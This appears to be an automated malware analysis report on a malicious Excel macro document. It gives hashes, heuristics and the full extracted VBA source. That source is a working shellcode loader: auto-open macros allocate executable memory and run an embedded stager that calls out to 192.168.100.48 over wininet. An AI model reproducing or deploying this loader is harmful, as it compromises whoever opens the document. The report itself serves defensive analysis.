Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff12210d56b5ef48…

MALICIOUS

Office (OLE)

33.5 KB Created: 2018-06-12 18:51:28 Authoring application: Microsoft Excel First seen: 2018-07-04
MD5: c4902afa50072245622edb50d6b39c75 SHA-1: 00275aad33f95e598194f710d11b9ebe4d80c08a SHA-256: ff12210d56b5ef487604b0844a442a088180009d30e798da37ac05b3f257c0ab
64 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1055 Process Injection

The file is an Excel document containing VBA macros, including AutoOpen and Workbook_Open triggers. The macros utilize VirtualAlloc and CreateThread API calls, indicative of shellcode execution and likely payload delivery. The presence of these functions suggests the macro is designed to allocate memory and create a new thread to run malicious code, possibly downloading a second-stage artifact.

Heuristics 5

  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    #End If
Sub Auto_Open()
Dim test4 As Long, test8 As Variant, test5 As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4612 bytes
SHA-256: 8a9da243b4b1fb221014a51ad1c81a2bf632d8c447c8e8e4186e037190cbe563
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EstaPasta_de_trabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Plan1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Módulo1"
Const test1 = 2
Const test2 = 1
Const test3 = 0
#If VBA7 Then
Private Declare PtrSafe Function test11 Lib "kernel32" Alias "CreateThread" (ByVal pqnfrydcbbfkbu As Long, ByVal jueugoufjbg As Long, ByVal tnrfkknfmityn As LongPtr, wytcygrg As Long, ByVal zyamqhlb As Long, wqqalghx As Long) As LongPtr
Private Declare PtrSafe Function test9 Lib "kernel32" Alias "VirtualAlloc" (ByVal chztlpdpehzdyyzmhtmw As Long, ByVal ltydhyusbauhajk As Long, ByVal yslnqpffieqttgfh As Long, ByVal xzlvastclfgccl As Long) As LongPtr
Private Declare PtrSafe Function test10 Lib "kernel32" Alias "RtlMoveMemory" (ByVal hqsnqoxhdbjiihvyb As LongPtr, ByRef lxqnatdeubepcdjm As Any, ByVal qtmatsrj As Long) As LongPtr
#Else
Private Declare Function test11 Lib "kernel32" Alias "CreateThread" (ByVal pqnfrydcbbfkbu As Long, ByVal jueugoufjbg As Long, ByVal tnrfkknfmityn As Long, wytcygrg As Long, ByVal zyamqhlb As Long, wqqalghx As Long) As Long
Private Declare Function test9 Lib "kernel32" Alias "VirtualAlloc" (ByVal chztlpdpehzdyyzmhtmw As Long, ByVal ltydhyusbauhajk As Long, ByVal yslnqpffieqttgfh As Long, ByVal xzlvastclfgccl As Long) As Long
Private Declare Function test10 Lib "kernel32" Alias "RtlMoveMemory" (ByVal hqsnqoxhdbjiihvyb As Long, ByRef lxqnatdeubepcdjm As Any, ByVal qtmatsrj As Long) As Long
#End If
Sub Auto_Open()
Dim test4 As Long, test8 As Variant, test5 As Long
#If VBA7 Then
Dim test6 As LongPtr, test7 As LongPtr
#Else
Dim test6 As Long, test7 As Long
#End If
test8 = Array(232, 130, test3, 0, test3, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, test1, 44, 32, 193, 207, 13, test2, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, test2, 209, 81, 139, 89, 32, test2, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, test2, 214, 49, 255, 172, 193, _
207, 13, test2, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, test2, 211, 102, 139, 12, 75, 139, 88, 28, test2, 211, 139, 4, 139, test2, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, test3, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 185, test2, test3, 0, 232, 199, test3, 0, test3, 47, 101, 112, 90, 116, 54, 75, 112, 78, 72, 86, 107, 69, 56, 81, 88, 119, 88, 57, 69, 88, 115, 65, 119, 54, 78, 84, 72, 116, 105, 72, 66, 51, 90, 77, 78, 108, 68, 106, 50, 97, 117, 65, 121, 52, 66, 106, 105, 119, 69, 88, 104, 115, 105, 79, test3, _
80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, test3, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, test3, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, test3, 0, 104, 68, 240, 53, 224, 255, _
213, 79, 117, 205, 232, 75, test3, 0, test3, 106, 64, 104, test3, 16, test3, 0, 104, test3, 0, 64, test3, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, test3, 32, test3, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, test2, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 49, 48, 48, _
46, 52, 56, test3, 187, 240, 181, 162, 86, 106, test3, 83, 255, 213)
test6 = test9(test3, UBound(test8), &H1000, &H40)
For test5 = LBound(test8) To UBound(test8)
test4 = test8(test5)
test7 = test10(test6 + test5, test4, test2)
Next test5
test7 = test11(test3, test3, test6, test3, 0, test3)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function test12(ByVal test13 As String) As String
Dim test14 As Long
For test14 = 1 To Len(test13) Step 2
test12 = test12 & Chr$(Val("&H" & Mid$(test13, test14, 2)))
Next test14
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.